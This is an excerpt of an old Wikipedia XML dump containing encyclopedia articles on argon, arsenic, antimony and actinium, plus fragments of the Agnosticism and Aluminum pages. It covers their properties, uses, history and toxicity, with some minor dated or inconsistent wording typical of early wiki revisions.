* [http://humanum.arts.cuhk.edu.hk/humftp/E-text/Russell/agnostic.htm What Is An Agnostic?] by Bertrand Russell, [1953].
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-03 ''Dictionary of the History of Ideas'':] Agnosticism
* [http://www.iidb.org/vbb/index.php The Internet Infidels Discussion Forums''(Worldwide)'' ]
* [http://www.infidels.org/index.shtml The Secular Web]
* [http://plato.stanford.edu/entries/atheism-agnosticism/ Stanford Encyclopedia of Philosophy entry]
* [http://www.religioustolerance.org/agnostic.htm Religious Tolerance.org - Agnosticism]
* [http://www.allaboutphilosophy.org/agnostic.htm Agnostic] 
* [http://aleph0.clarku.edu/huxley/CE5/Agn-X.html &quot;Agnosticism and Christianity&quot; (1899)] by T. H. Huxley
* [http://www.agnosis.org AGNOSIS: The History &amp; Future of Agnosticism]

{{Philosophy navigation}}

[[Category:Agnosticism|*]]

[[ar:لاأدرية]]
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    </revision>
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  <page>
    <title>Aluminum</title>
    <id>895</id>
    <revision>
      <id>20455286</id>
      <timestamp>2005-08-07T04:53:53Z</timestamp>
      <contributor>
        <username>Tregoweth</username>
        <id>7402</id>
      </contributor>
      <comment>reinstating #REDIRECT [[Aluminium]]</comment>
      <text xml:space="preserve">#REDIRECT [[Aluminium]]</text>
    </revision>
  </page>
  <page>
    <title>Argon</title>
    <id>896</id>
    <revision>
      <id>41913727</id>
      <timestamp>2006-03-02T16:05:01Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>Revert to revision 41866142 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{this|a chemical element|Argon (disambiguation)}}
{{Elementbox_header | number=18 | symbol=Ar | name=argon | left=[[chlorine]] | right=[[potassium]] | above=[[neon|Ne]] | below=[[krypton|Kr]] | color1=#c0ffff | color2=green }}
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{{Elementbox_isotopes_stable | mn=38 | sym=Ar | na=0.063% | n=20 }}
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{{Elementbox_isotopes_stable | mn=40 | sym=Ar | na=99.600% | n=22 }}
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'''Argon''' is a [[chemical element]] in the [[periodic table]]. It has the symbol '''Ar''' and [[atomic number]] 18. The third [[noble gas]], in group 18, argon makes up about 1% of the [[Earth's atmosphere]], making it the most common noble gas on Earth.

== Notable characteristics ==
Argon is 2.5 times as [[solubility|soluble]] in water as [[nitrogen]] which is approximately the same solubility as [[oxygen]]. This highly stable chemical element is colorless and odorless in both its liquid and gaseous forms.
There are few known true chemical compounds that contain argon, which is one of the reasons it was formerly called an inert gas. The creation of argon hydrofluoride (HArF), a highly unstable compound of argon with [[fluorine]], was reported by researchers at the [[University of Helsinki]] in 2000, but has not been confirmed as of yet.

Although no ''chemical'' compounds of argon are presently confirmed, argon can form [[clathrates]] with [[water (molecule)|water]] when atoms of it are trapped in a lattice of the water molecules. Theoretical calculations on computers have shown several Argon compounds that should be stable but for which no synthesis routes are currently known.

== Applications ==
It is used in lighting since it will not react with the filament in a [[lightbulb]] even under high temperatures and other cases where diatomic nitrogen is an unsuitable (semi-)[[inert]] gas. Other uses;

*Argon is used as an inert gas shield in many forms of [[welding]], including [[metal inert gas welding|mig]] and [[Tungsten inert gas welding|tig]] (where the &quot;'''I'''&quot; stands for [[inert]]).
*as a non-reactive blanket in the manufacture of [[titanium]] and other reactive elements.
*as a protective atmosphere for growing [[silicon]] and [[germanium]] [[crystal]]s.
*as a gas for use in [[plasma globe | plasma globes]].
*as a gas for use in energy efficient [[window]]s.
*Argon-39 has been used for a number of applications, primarily [[ice core|ice coring]]. It has also been used for [[ground water]] dating.
*[[Cryosurgery]] procedures such as [[cryoablation]] uses liquefied argon to destroy [[cancer]] cells.


Argon is also used in technical [[SCUBA]] diving to inflate the dry suit, because it is inert and has low thermal conductivity.

== History ==
Argon ([[Greek language|Greek]] ''argos'' meaning &quot;inactive&quot;) was suspected to be present in air by [[Henry Cavendish]] in [[1785]] but was not discovered until [[1894]] by [[John William Strutt, 3rd Baron Rayleigh|Lord Rayleigh]] and Sir [[William Ramsay]].

== Occurrence ==
This gas is isolated through liquid air fractionation since the [[Earth's atmosphere|atmosphere]] contains only 0.934% volume of argon (1.29% mass). The [[Mars (planet)|Martian]] atmosphere in contrast contains 1.6% of Ar-40 and 5 [[part per million|ppm]] Ar-36. In 2005, the ''[[Cassini-Huygens|Huygens]]'' probe also discovered the presence of Ar-40 on [[Titan (moon)|Titan]], the largest moon of [[Saturn (planet)|Saturn]] [http://www.esa.int/esaCP/SEMHB881Y3E_index_0.html].

== Compounds ==
Before 1962, argon and the other noble gases were generally considered to be chemically inert and not able to form compounds. However, since then, scientists have been able to force the heavier noble gases to form compounds. In 2000, the first argon compounds were formed by researchers at the [[University of Helsinki]]. By shining ultraviolet light onto frozen argon containing a small amount of hydrogen fluoride, they were able to form argon hydrofluoride (HArF): see http://pubs.acs.org/cen/80th/noblegases.html in its paragraph starting &quot;''Many recent findings''&quot;. It is stable up to 40°[[kelvin|K]].

== Isotopes ==
The main [[isotope]]s of argon found on Earth are Ar-40, Ar-36, and Ar-38. Naturally occurring [[potassium|K]]-40 with a [[half-life]] of 1.250 x 10&lt;sup&gt;9&lt;/sup&gt; years, decays to stable Ar-40 (11.2%) by [[electron capture]] and by [[positron emission]], and also transforms to stable Ca-40 (88.8%) via [[beta decay]]. These properties and ratios are used to determine the age of [[Rock (geology)|rock]]s.

In the Earth's atmosphere, Ar-39 is made by [[cosmic ray]] activity, primarily with Ar-40. In the subsurface environment, it is also produced through [[neutron capture]] by K-39 or [[alpha decay|alpha emission]] by [[calcium]]. Argon-37 is created from the decay of calcium-40 as a result of subsurface [[nuclear testing|nuclear explosions]]. It has a half-life of 35 days.

==References==		 
*[http://periodic.lanl.gov/elements/18.html Los Alamos National Laboratory &amp;ndash; Argon]

== External links ==
{{Commons|Argon}}
*[http://www.webelements.com/webelements/elements/text/Ar/index.html WebElements.com &amp;ndash; Argon]
*Diving applications: [http://www.decompression.org/maiken/Why_Argon.htm Why Argon?]
*[http://www.uigi.com/argon.html Argon Ar Properties, Uses, Applications]
*[http://www.compchemwiki.org/index.php?title=Argon Computational Chemistry Wiki]

[[Category:Chemical elements]]
[[Category:Noble gases]]

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  </page>
  <page>
    <title>Arsenic</title>
    <id>897</id>
    <revision>
      <id>42000482</id>
      <timestamp>2006-03-03T03:30:18Z</timestamp>
      <contributor>
        <username>Viriditas</username>
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      <comment>Revert to revision 41605710 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
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'''Arsenic''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''As''' and [[atomic number]] 33. This is a notoriously poisonous [[metalloid]] that has three [[allotropy|allotropic]] forms; yellow, black and grey. Arsenic and its compounds are used as [[pesticides]], [[herbicide]]s, [[insecticide]]s and various [[alloy]]s.

== Notable characteristics ==
Arsenic is very similar chemically to its predecessor [[phosphorus]], so much so that it will partly substitute for [[phosphorus]] in biochemical reactions and is thus [[poison]]ous. When heated it rapidly [[oxidation|oxidizes]] to [[arsenic trioxide]], which has a garlic odor. Arsenic and some arsenic compounds can also [[sublimation (chemistry)|sublime]] upon heating, converting directly to a gaseous form. Elemental arsenic is found in two solid forms: yellow and gray/metallic, with [[specific gravity|specific gravities]] of 1.97 and 5.73, respectively.

== Applications ==
[[Lead hydrogen arsenate]] has been used, well into the [[20th century]], as an [[insecticide]] on [[fruit tree]]s (resulting in [[neurological damage]] to those working the sprayers), and [[Scheele's Green]] has even been recorded in the [[19th century]] as a [[food dye|coloring agent]] in [[sweets]].  In the last half century, [[monosodium methyl arsenate]] (MSMA), a less toxic organic form of arsenic, has replaced lead arsenate's role in agriculture.

The application of most concern to the general public is probably that of [[wood]] which has been treated with [[chromated copper arsenate]] (&quot;CCA&quot;, or &quot;[[Tanalith]]&quot;, and the vast majority of older &quot;[[lumber#Preservatives|pressure treated]]&quot; wood). CCA timber is still in widespread use in many countries, and was heavily used during the latter half of the [[20th century]] as a structural, and outdoor [[building material]], where there was a risk of [[rot]], or [[insect]] infestation in untreated timber. Although widespread bans followed the publication of studies which showed low-level leaching from in-situ timbers (such as children's [[playground]] equipment) into surrounding [[soil]], the most serious risk is presented by the burning of CCA timber. Recent years have seen fatal animal poisonings, and serious human poisonings resulting from the ingestion - directly or indirectly - of wood ash from CCA timber (the lethal human dose is approximately 20 grams of ash - roughly a tablespoon). Scrap CCA construction timber continues to be widely burnt through ignorance, in both commercial, and domestic fires. Safe disposal of CCA timber remains patchy, and little practiced, there is concern in some quarters about the widespread [[landfill]] disposal of such timber.

During the 18th, 19th, and 20th centuries, a number of arsenic compounds have been used as medicines, including [[arsphenamine]] (by [[Paul Ehrlich]]) and [[arsenic trioxide]] (by Thomas Fowler).
Arsphenamine as well as [[Neosalvarsan]] was indicated for [[syphilis]] and [[trypanosomiasis]], but has been superseded by modern [[antibiotics]].
Arsenic trioxide has been used in a variety of ways over the past 200 years, but most commonly in the treatment of cancer.  The [[FDA]] in 2000 approved this compound for the treatment of patients with [[acute promyelocytic leukemia]] that is resistant to [[all-trans retinoic acid|ATRA]].{{an|ArsTriChemo}}

But arsenic isn't always good for [[cancer]]. Some studies show that if you use arsenic you have a high risk for cancer.

Copper acetoarsenite was used as a green [[pigment]] known under many different names, including [[Paris Green]] and Emerald Green. It caused numerous [[arsenic poisoning]]s.

Other uses;
* Various [[agriculture|agricultural]] insecticides and poisons.
* [[Gallium arsenide]] is an important [[semiconductor]] material, used in [[integrated circuit]]s. Circuits made using the compound are much faster (but also much more expensive) than those made in [[silicon]]. Unlike silicon it is [[direct bandgap]], and so can be used in [[laser diode]]s and [[LED]]s to directly convert [[electricity]] into [[light]].
* Arsenic trioxide is used in [[Australia]] for treating [[termite]] infestations in houses.
* Also used in [[bronzing]] and [[pyrotechny]].

== History ==
The word ''arsenic'' is borrowed from the [[Persian language|Persian]] word زرنيخ ''Zarnikh'' meaning &quot;yellow [[orpiment]]&quot;. ''Zarnikh'' was borrowed by [[Greek language|Greek]] as ''arsenikon''. Arsenic has been known and used in [[Iran|Persia]] and elsewhere since ancient times. As the symptoms of [[arsenic poisoning]] were somewhat ill-defined, it was frequently used for [[murder]] until the advent of the [[Marsh test]], a sensitive chemical test for its presence. (Another less sensitive but more general test is the [[Reinsch test]].)  Due to its use by the ruling class to bump each other off and its incredible potency and discreetness, arsenic has been called the ''Poison of Kings and the King of Poisons''.

During the Bronze Age, arsenic was often included in the bronze (mostly as an impurity), which made the alloy harder.

[[Albertus Magnus]] is believed to have been the first to isolate the
element in [[1250]]. In [[1649]] [[Johann Schroeder]] published two ways of preparing arsenic.

[[image:arsenic-symbol.png|75px|right|Alchemical symbol for arsenic]]The [[alchemy|alchemical]] symbol for arsenic is shown opposite.

In Victorian times, arsenic was mixed with [[vinegar]] and [[chalk]] and eaten by women to improve the [[complexion]] of their faces, making their skin more fair to show they did not work in the fields.  Arsenic was also rubbed into the faces and arms of women to improve their complexion.

There is a massive epidemic of arsenic poisoning in [[Bangladesh]]{{an|bangladesh}}, where it is estimated that approximately 57 million people are drinking [[groundwater]] with arsenic concentrations elevated above the [[World Health Organization]]'s standard of 50 [[Concentration#.22Parts-per.22 Notation|parts per billion]]. The arsenic in the groundwater is of natural origin, and is released from the sediment into the groundwater due to the anoxic conditions of the subsurface. This groundwater began to be used after western [[Non-governmental organization|NGO]]s instigated a massive tube [[Water well|well]] drinking-water program in the late [[twentieth century]]. This program was designed to prevent drinking of bacterially-contaminated surface waters, but unfortunately failed to test for arsenic in the groundwater.(2) Many other countries in [[Southeast Asia|South East Asia]], such as [[Vietnam]], [[Cambodia]], and [[Tibet]], are thought to have geological environments similarly conducive to generation of high-arsenic groundwaters.

== Occurrence ==
[[Image:Native arsenic.jpg|right|200px|thumb|Massive native arsenic]]
[[Arsenopyrite]] also called mispickel ([[iron|Fe]][[sulfur|S]]As) is the most common [[mineral]] from which, on heating, the arsenic sublimes leaving ferrous sulfide. Other arsenic minerals include [[realgar]], [[mimetite]], [[cobaltite]] and [[erythrite]].

The most important compounds of arsenic are [[white arsenic]], its [[arsenic sulfide|sulfide]], [[Paris Green]], [[calcium arsenate]], and [[lead hydrogen arsenate]]. Paris Green, calcium arsenate, and lead arsenate have been used as [[agriculture|agricultural]] [[insecticide]]s and [[poison]]s. It is sometimes found native, but usually combined with [[silver]], [[cobalt]], [[nickel]], [[iron]], [[antimony]], or [[sulfur]].

In addition to the inorganic forms mentioned above, arsenic also occurs in various organic forms in the environment. Inorganic arsenic and its compounds, upon entering the [[food chain]], are progressively metabolised to a less toxic form of arsenic through a process of [[methylation]].

== Precautions ==

Arsenic and many of its compounds are especially potent poisons. Arsenic kills by [[allosteric inhibition]] of the metabolic [[enzyme]] [[lipothiamide pyrophosphate]], leading to death from multi-system [[organ failure]]. See [[arsenic poisoning]]. Arsenic and its compounds inhibit the , which is an important enzyme of metabolism. The [[post mortem]] reveals brick red colored [[mucosa]], due to severe [[haemorrhage]].  

Elemental arsenic and arsenic compounds are classified as '''''[[toxic]]''''' and '''''dangerous for the environment''''' in the [[European Union]] under [[directive 67/548/EEC]].
&lt;!-- INDEX 033-001-00-X (arsenic) R23/25-50/53; S1/2-20/21-28-45-60-61 --&gt;
&lt;!-- INDEX 033-002-00-5 (other compounds) pareil --&gt;

The [[IARC]] recognizes arsenic and arsenic compounds as [[List of IARC Group 1 carcinogens|group 1 carcinogens]], and the EU lists [[arsenic trioxide]], [[arsenic pentoxide]] and [[arsenate]] salts as category 1 [[carcinogen]]s.

Growing the [[Brake (fern)]] [[Pteris vittata]] will remove arsenic from the soil.

== See also ==
* [[Aqua Tofana]]
* [[Fowler's solution]]
* [[Arsenicosis]]

== Compounds ==
*[[Arsenic acid]] (H&lt;sub&gt;3&lt;/sub&gt;AsO&lt;sub&gt;4&lt;/sub&gt;)
*[[Arsenous acid]] (H&lt;sub&gt;3&lt;/sub&gt;AsO&lt;sub&gt;3&lt;/sub&gt;)
*[[Arsenic trioxide]] (As&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;)
*[[Arsine]] (Arsenic Trihydride AsH&lt;sub&gt;3&lt;/sub&gt;)
*[[Cadmium arsenide]] (Cd&lt;sub&gt;3&lt;/sub&gt;As&lt;sub&gt;2&lt;/sub&gt;)
*[[Gallium arsenide]] (GaAs)
*[[Lead hydrogen arsenate]] (PbHAsO&lt;sub&gt;4&lt;/sub&gt;)
;See also [[:Category:Arsenic compounds]]

== References ==

* [http://periodic.lanl.gov/elements/33.html Los Alamos National Laboratory &amp;ndash; Arsenic]

== Endnotes ==
# {{anb|ArsTriChemo}} Antman, Karen H. (2001). [http://theoncologist.alphamedpress.org/cgi/content/full/6/suppl_2/1 The History of Arsenic Trioxide in Cancer Therapy]. Introduction to a supplement to ''The Oncologist''. '''6''' (Suppl 2), 1-2. PMID 11331433.
# {{anb|bangladesh}} Andrew Meharg, Venomous Earth - How Arsenic Caused The World's Worst Mass Poisoning, [http://www.macmillanscience.com/1403944997.htm Macmillan Science], 2005.

== External links ==
{{Commons|Arsenic}}
{{wiktionary}}
*[http://www.asmalldoseof.org/ A Small Dose of Toxicology] 
* [http://www.atsdr.cdc.gov/HEC/CSEM/arsenic/ Case Studies in Environmental Medicine: Arsenic Toxicity]
* [http://www.npi.gov.au/database/substance-info/profiles/11.html National Pollutant Inventory - Arsenic]
* [http://www.webelements.com/webelements/elements/text/As/index.html WebElements.com &amp;ndash; Arsenic]
* [http://www.origen.net/arsenic.html origen.net &amp;ndash; CCA wood and arsenic: toxicological effects of arsenic]
* [http://www.clu-in.org/contaminantfocus/default.focus/sec/arsenic/cat/Overview/ Contaminant Focus: Arsenic] by the [[Environmental Protection Agency|EPA]].
* [http://www.inchem.org/documents/ehc/ehc/ehc224.htm Environmental Health Criteria for Arsenic and Arsenic Compounds, 2001] by the [[World Health Organization|WHO]].
* [http://www.greenfacts.org/arsenic/arsenic-1.htm A summary of the above report] by [[GreenFacts]]. 
* [http://www-cie.iarc.fr/htdocs/monographs/vol23/arsenic.html Evaluation of the carcinogenicity of arsenic and arsenic compounds] by the [[IARC]].

[[Category:Metalloids]]
[[Category:Pnictogens]]
[[category:Toxicology]]
[[Category:Chemical elements]]

{{Link FA|de}}
{{Link FA|id}}

[[ar:زرنيخ]]
[[bg:Арсен]]
[[bs:Arsen]]
[[ca:Arsènic]]
[[cs:Arsen]]
[[cy:Arsenig]]
[[da:Arsen]]
[[de:Arsen]]
[[et:Arseen]]
[[es:Arsénico]]
[[eo:Arseno]]
[[fa:آرسنیک]]
[[fr:Arsenic]]
[[ko:비소]]
[[io:Arseno]]
[[id:Arsenik]]
[[is:Arsen]]
[[it:Arsenico]]
[[he:ארסן]]
[[lv:Arsēns]]
[[lt:Arsenas]]
[[hu:Arzén]]
[[nl:Arsenicum]]
[[ja:ヒ素]]
[[no:Arsen]]
[[nn:Arsen]]
[[oc:Arsenic]]
[[pl:Arsen]]
[[pt:Arsênio]]
[[ru:Мышьяк]]
[[sc:Arsènicu]]
[[sl:Arzen]]
[[sr:Арсен]]
[[fi:Arseeni]]
[[sv:Arsenik]]
[[th:สารหนู]]
[[uk:Арсен]]
[[zh:砷]]</text>
    </revision>
  </page>
  <page>
    <title>Antimony</title>
    <id>898</id>
    <revision>
      <id>41659149</id>
      <timestamp>2006-02-28T21:45:26Z</timestamp>
      <contributor>
        <username>Hairy Dude</username>
        <id>274535</id>
      </contributor>
      <minor />
      <comment>{{distinguish2}} replacing ad hoc disambig notice</comment>
      <text xml:space="preserve">{{distinguish2|[[antinomy|anti'''n'''o'''m'''y]], a type of [[paradox]]}}
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{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#cccc99 | color2=black }}

'''Antimony''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Sb''' ([[Latin (language)|L.]] ''Stibium'') and [[atomic number]] 51. A [[metalloid]], antimony has four allotropic forms. The stable form of antimony is a blue-white metal. Yellow and black antimony are unstable non-metals. Antimony is used in flame-proofing, [[paint]]s, [[ceramic]]s, [[Vitreous enamel|enamel]]s, a wide variety of [[alloy]]s, [[electronics]], and [[rubber]].

== Notable characteristics ==
Antimony in its elemental form is a silvery white, [[brittle]], [[fusibility|fusible]], [[crystal|crystalline]] solid that exhibits poor electrical and heat [[conductivity]] properties and [[vaporize]]s at low [[temperature]]s. A [[metalloid]], antimony resembles a metal in its appearance and physical properties, but does not chemically react as a metal. It is also attacked by [[oxidation|oxidizing]] [[acid]]s and [[halogen]]s. Antimony and some of its alloys expand on cooling.

Estimates of the abundance of antimony in the [[Earth]]'s crust range from 0.2 to 0.5 [[part per million|ppm]].  Antimony is geochemically categorized as a [[chalcophile]], occurring with [[sulfur]] and the [[heavy metals]] [[lead]], [[copper]], and [[silver]].

== Applications ==
Antimony is increasingly being used in the [[semiconductor]] industry in the production of [[diode]]s, [[infrared]] detectors, and [[Hall effect|Hall-effect]] devices. As an [[alloy]], this semi-metal  greatly increases [[lead]]'s hardness and mechanical strength. The most important use of antimony metal is as a hardener in lead for storage batteries. Other uses;
*[[Battery (electricity)|Batteries]],
*antifriction alloys,
*type metal,
*small arms and tracer bullets,
*cable sheathing,
*matches,
*medicines,
*plumbing (&quot;lead-free&quot; solder contains 5% Sb),
*main and big-end bearings in [[internal combustion engine]]s (as alloy).
*used in the past to treat [[Schistosomiasis]], nowadays [[Praziquantel]] is universally used.

Antimony compounds in the form of [[oxide]]s, [[sulfide]]s, sodium antimonate, and antimony trichloride are used in the making of flame-proofing compounds, [[ceramic]] enamels, [[glass]], [[paint]]s, and [[pottery]]. Antimony trioxide is the most important of the antimony compounds and is primarily used in flame-retardant formulations.  These flame-retardant applications include such markets as children's clothing, toys, aircraft and automobile seat covers. Also, antimony sulfide is one of the ingredients of a modern match.

== History ==
Antimony was recognized in antiquity ([[4th_millennium_BC|3000 BC]] or earlier) in various compounds, and it was prized for its fine [[casting]] qualities. It was first reported scientifically by [[Tholden]] in [[1450]], and was known to be a metal by the beginning of the [[17th century]].  The origin of the name &quot;antimony&quot; is not clear; the term may come from the [[Greek language|Greek]] words &quot;anti&quot; and &quot;monos&quot;, which approximately means &quot;opposed to solitude&quot; as it was thought never to exist in its pure form, or from the [[Egyptian mythology|Pharaonic]] expression &quot;Antos Amun&quot;, which could be translated as &quot;bloom of the god [[Amun]]&quot;.

[[image:antimony-symbol.png|frame|left|80px|Alchemical symbol for antimony]]

The natural sulfide of antimony, [[stibnite]], was known and used in Biblical times as [[medicine]] and as a [[Cosmetics|cosmetic]].  Stibnite is still used in some developing countries as [[medicine]]. Antimony has been used for the treatment of [[schistosomiasis]]. Antimony attaches itself to [[sulfur]] atoms in certain [[enzyme]]s which are used both by the parasite and human host. Small doses can kill the parasite without causing damage to the patient. Antimony and its compounds are used in several[[ veterinary]] preparations like Anthiomaline or Lithium antimony thiomalate, which is used as a skin conditioner in ruminants. Antimony has a nourishing or conditioning effect on keratinized tissues, at least in animals. Tartar emetic is another antimony preparation which is used as an anti-schistosomal drug.

The relationship between antimony's modern name and its symbol is complex; the [[Coptic language|Coptic]] name for the cosmetic powder antimony sulfide was borrowed by the [[Greece|Greeks]], which was in turn borrowed by [[Latin]], resulting in ''stibium''.  The chemical pioneer [[Jöns Jakob Berzelius]] used an abbreviation of this name for antimony in his writings, and his usage became the standard symbol.

Treatments chiefly involving antimony have been called [[antimonial]]s.

== Sources ==
[[Image:Antimony massive.jpg|200px|left|thumb|Native massive antimony with [[redox|oxidation]] products]]
Even though this element is not abundant, it is found in over 100 [[mineral]] species. Antimony is sometimes found native, but more frequently it is found in the sulfide [[stibnite]] (Sb&lt;sub&gt;2&lt;/sub&gt;S&lt;sub&gt;3&lt;/sub&gt;) which is the predominant ore [[mineral]]. Commercial forms of antimony are generally ingots, broken pieces, granules, and cast cake. Other forms are powder, shot, and single crystals.

{| border=&quot;1&quot;
! Country !! Tonnes !! % of total
|-
|align=&quot;center&quot; |[[People's Republic of China]]
|align=&quot;center&quot; |126 000
|align=&quot;center&quot; |81.5
|-
|align=&quot;center&quot; |[[Russia]]
|align=&quot;center&quot; |12 000
|align=&quot;center&quot; |7.8
|-
|align=&quot;center&quot; |[[South Africa]]
|align=&quot;center&quot; |5 023
|align=&quot;center&quot; |3.3
|-
|align=&quot;center&quot; |[[Tadjikistan]]
|align=&quot;center&quot; |3 480
|align=&quot;center&quot; |2.3
|-
|align=&quot;center&quot; |[[Bolivia]]
|align=&quot;center&quot; |2 430
|align=&quot;center&quot; |1.6
|-
|align=&quot;center&quot; |''Top 5''
|align=&quot;center&quot; |''148 933''
|align=&quot;center&quot; |''96.4''
|-
|align=&quot;center&quot; |'''Total world'''
|align=&quot;center&quot; |'''154 538'''
|align=&quot;center&quot; |'''100.0'''
|}
&lt;small&gt;''Chiffres de [[2003]], métal contenue dans les minerais et concentrés, source : L'état du monde 2005''&lt;/small&gt;

== Precautions ==
Antimony and many of its compounds are [[toxic]]. Clinically, antimony poisoning is very similar to [[arsenic]] poisoning. In small doses, antimony causes [[headache]], [[dizziness]], and [[Depression (mood)|depression]]. Such small doses have in the past been reported in some acidic fruit drinks. The acidic nature of the drink is sufficient to dissolve small amounts of antimony oxide contained in the packaging of the drink; modern manufacturing methods prevent this occurrence. Larger doses cause violent and frequent vomiting, and will lead to death in few days.  Very large doses will cause violent vomiting, causing the poison to be expelled from the body before any harm is done.

== Compounds ==
[[Antimony pentafluoride]] SbF&lt;sub&gt;5&lt;/sub&gt;, [[Antimony trioxide]] Sb&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;,
[[Stibine]] (Antimony Trihydride SbH&lt;sub&gt;3&lt;/sub&gt;), [[Indium antimonide]] (InSb)
; see also [[:Category:Antimony compounds]]

==References==
*[http://periodic.lanl.gov/elements/51.html Los Alamos National Laboratory &amp;ndash; Antimony]
*[http://www.atsdr.cdc.gov/toxprofiles/phs23.html Public Health Statement for Antimony]

==See also==
*[[antimonial]]

== External links ==
{{Commons|Antimony}}
* [http://www.npi.gov.au/database/substance-info/profiles/10.html National Pollutant Inventory - Antimony and compounds]
*[http://www.webelements.com/webelements/elements/text/Sb/index.html WebElements.com &amp;ndash; Antimony]
* [http://www.vanderkrogt.net/elements/elem/sb.html Elementymology &amp; Elements Multidict: Antimony] (by Peter van der Krogt)
* [http://www.indexmundi.com/en/commodities/minerals/antimony/antimony_table09.html World Mine Production of Antimony, by Country]

[[Category:Chemical elements]]
[[Category:Metalloids]]
[[Category:Pnictogens]]

[[ar:كحل]]
[[bs:Antimon]]
[[ca:Antimoni]]
[[cs:Antimon]]
[[de:Antimon]]
[[et:Antimon]]
[[es:Antimonio]]
[[eo:Antimono]]
[[fr:Antimoine]]
[[ko:안티모니]]
[[io:Antimonio]]
[[is:Antimon]]
[[it:Antimonio]]
[[he:אנטימון]]
[[ku:Stîbyûm]]
[[lv:Antimons]]
[[lt:Stibis]]
[[lb:Antimon]]
[[hu:Antimon]]
[[nl:Antimoon]]
[[ja:アンチモン]]
[[no:Antimon]]
[[nn:Antimon]]
[[oc:Antimòni]]
[[pl:Antymon]]
[[pt:Antimônio]]
[[ru:Сурьма]]
[[sk:Antimón (nerast)]]
[[sl:Antimon]]
[[sr:Антимон]]
[[fi:Antimoni]]
[[sv:Antimon]]
[[th:พลวง]]
[[uk:Сурма]]
[[zh:锑]]</text>
    </revision>
  </page>
  <page>
    <title>Actinium</title>
    <id>899</id>
    <revision>
      <id>41411929</id>
      <timestamp>2006-02-27T03:42:39Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Polonium|Polonium]] ([[User talk:Polonium|talk]]) to last version by Orzetto</comment>
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{{Elementbox_series | [[actinide]]s }}
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{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(227)]] }}
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{{Elementbox_boilingpoint | k=3471 | c=3198 | f=5788 }}
{{Elementbox_heatfusion_kjpmol | 14 }}
{{Elementbox_heatvaporiz_kjpmol | 400 }}
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{{Elementbox_ionizationenergies2 | 499 | 1170 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|195]] }}
{{Elementbox_section_miscellaneous | color1=#ff99cc | color2=black }}
{{Elementbox_magnetic | no data }}
{{Elementbox_thermalcond_wpmkat300k | 12 }}
{{Elementbox_cas_number | 7440-34-8 }}
{{Elementbox_isotopes_begin | isotopesof=actinium | color1=#ff99cc | color2=black }}
{{Elementbox_isotopes_decay | mn=225 | sym=Ac
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E s|10 days]]
 | dm=[[alpha decay|&amp;alpha;]] | de=5.935 | pn=221 | ps=[[francium|Fr]] }}
{{Elementbox_isotopes_decay3 | mn=226 | sym=Ac
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E s|29.37 hours]]
 | dm1=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de1=1.117 | pn1=226 | ps1=[[thorium|Th]]
 | dm2=[[electron capture|&amp;epsilon;]] | de2=0.640 | pn2=226 | ps2=[[radium|Ra]]
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{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff99cc | color2=black }}

'''Actinium''' is a [[chemical element]] in the [[periodic table]] that has the symbol Ac and [[atomic number]] 89.

==Notable characteristics==
Actinium is a silvery radioactive metallic element. Due to its intense radioactivity, Actinium glows in the dark with an eerie blue light. It is found only in traces in uranium ores as 227-Ac, an [[alpha radiation|&amp;alpha;]] and [[beta radiation|&amp;beta; emitter]] with a [[half-life]] of 21.773 years. One ton of [[uranium]] ore contains about a tenth of a gram of actinium.

==Applications==
It is about 150 times as radioactive as radium, making it valuable as a [[neutron source]]. Otherwise it has no significant industrial applications.

Actinium-225 is used in medicine to produce Bi-213 in a reusable generator or can be used alone as an agent for radio-immunotherapy.

==History==
Actinium was discovered in [[1899]] by [[André-Louis Debierne]], a French chemist, who separated it from [[uraninite|pitchblende]]. [[Friedrich Otto Giesel]] independently discovered actinium in [[1902]]. The chemical behavior of actinium is similar to that of the rare earth [[lanthanum]].

The word actinium comes from the Greek ''aktis, aktinos'', meaning beam or ray.

==Occurrence==
Actinium is found in trace amounts in uranium ore, but more commonly is made in milligram amounts by the neutron irradiation of 226-Ra in a nuclear reactor. Actinium metal has been prepared by the reduction of actinium fluoride with lithium vapor at about 1100 to 1300ºC.

==Isotopes==
Naturally occurring actinium is composed of 1 radioactive [[isotope]]; &lt;sup&gt;227&lt;/sup&gt;Ac. 36 [[radioisotope]]s have been characterized with the most stable being 227-Ac with a [[half-life]] of 21.772 [[years|y]], 225-Ac with a half-life of 10.0 [[day]]s, and 226-Ac with a half-life of 29.37 [[hours|h]].  All of the remaining [[radioactive decay|radioactive]] isotopes have half-lifes that are less than 10 hours and the majority of these have half lifes that are less than 1 minute. The shortest-lived isotope of actinium is&lt;sup&gt;217&lt;/sup&gt;Ac which decays through [[alpha decay]] and [[electron capture]]. It has a half-life of 69 [[nanoseconds|ns]]. Actinium also has 2 [[meta state]]s.

Purified actinium-227 comes into equilibrium with its decay products at the end of 185 days, and then decays according to its 21.773-year half-life.

The isotopes of actinium range in [[atomic weight]] from 206 [[atomic mass unit|amu]] (&lt;sup&gt;206&lt;/sup&gt;actinium) to 236 amu (&lt;sup&gt;236&lt;/sup&gt;Ac).

==Precautions==
Actinium-227 is extremely radioactive, and in terms of its potential for radiation induced health effects, actinium-227 is about as dangerous as plutonium. Ingesting even small amounts of actinium-227 would present a serious health hazard.

==References==
*[http://periodic.lanl.gov/elements/89.html Los Alamos National Laboratory - Actinium]

==External links==
{{Commons|Actinium}}
*[http://www.webelements.com/webelements/elements/text/Ac/index.html WebElements.com - Actinium]

[[Category:Chemical elements]]
[[Category:Actinides]]

[[ar:أكتينيوم]]
[[ca:Actini]]
